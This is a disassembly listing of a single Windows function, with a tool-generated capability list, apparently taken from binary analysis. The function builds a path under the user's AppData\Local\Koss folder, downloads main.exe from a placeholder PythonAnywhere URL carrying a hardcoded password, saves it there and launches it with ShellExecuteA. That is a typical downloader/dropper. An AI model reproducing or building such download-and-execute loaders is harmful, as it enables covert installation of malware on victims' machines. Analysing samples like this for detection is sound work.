Function at 0x140001935
Capabilities:
Check if file exists
Create directory
Create http request
Create process on windows
Get file attributes
Query environment variable
Read data from internet
Receive data

Disassembly:
push rbp
push rbx
sub rsp, 0x6b8
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x617]
mov qword [rbp + 0x618], rax
nop
nop
lea rax, str.USERNAME
mov rcx, rax
call sym.getenv
mov rdx, rax
lea rcx, [rbp + 0x617]
lea rax, [rbp + 0x5f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x5d0]
lea rdx, [rbp + 0x5f0]
mov r8, rdx
lea rdx, str.C:Users_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x5b0]
lea rdx, [rbp + 0x5d0]
lea r8, str.AppDataLocalKoss
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x5f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x617]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x590]
lea rdx, [rbp + 0x5b0]
lea r8, str.main.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x590]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x140001c09
lea rax, [rbp + 0x5b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
test eax, eax
jne 0x140001a66
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
jne 0x140001a6d
mov eax, 1
jmp 0x140001a72
mov eax, 0
test al, al
je 0x140001c4a
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.DownloadApp
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x628], rax
cmp qword [rbp + 0x628], 0
je 0x140001bc6
mov rax, qword [rbp + 0x628]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
lea rdx, str.http:___your_python_anywhere_site__download_passwordTHISISMYVERYSECUREPASSWORD_
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0x620], rax
cmp qword [rbp + 0x620], 0
je 0x140001bb3
lea rdx, [rbp + 0x590]
lea rax, [rbp - 0x50]
mov r8d, 4
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
jmp 0x140001b40
mov eax, dword [rbp + 0x58c]
mov ecx, eax
lea rdx, [rbp + 0x180]
lea rax, [rbp - 0x50]
mov r8, rcx
mov rcx, rax
call sym.std::ostream::write_char_const__long_long_
lea rcx, [rbp + 0x58c]
lea rdx, [rbp + 0x180]
mov rax, qword [rbp + 0x620]
mov r9, rcx
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x140001b7f
mov eax, dword [rbp + 0x58c]
test eax, eax
je 0x140001b7f
mov eax, 1
jmp 0x140001b84
mov eax, 0
test al, al
jne 0x140001b22
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::close__
mov rax, qword [rbp + 0x620]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream__
mov rax, qword [rbp + 0x628]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
lea rax, [rbp + 0x590]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
jmp 0x140001c4a
lea rax, [rbp + 0x590]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
lea rax, [rbp + 0x590]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x5b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001cf6
add rsp, 0x6b8
pop rbx
pop rbp
ret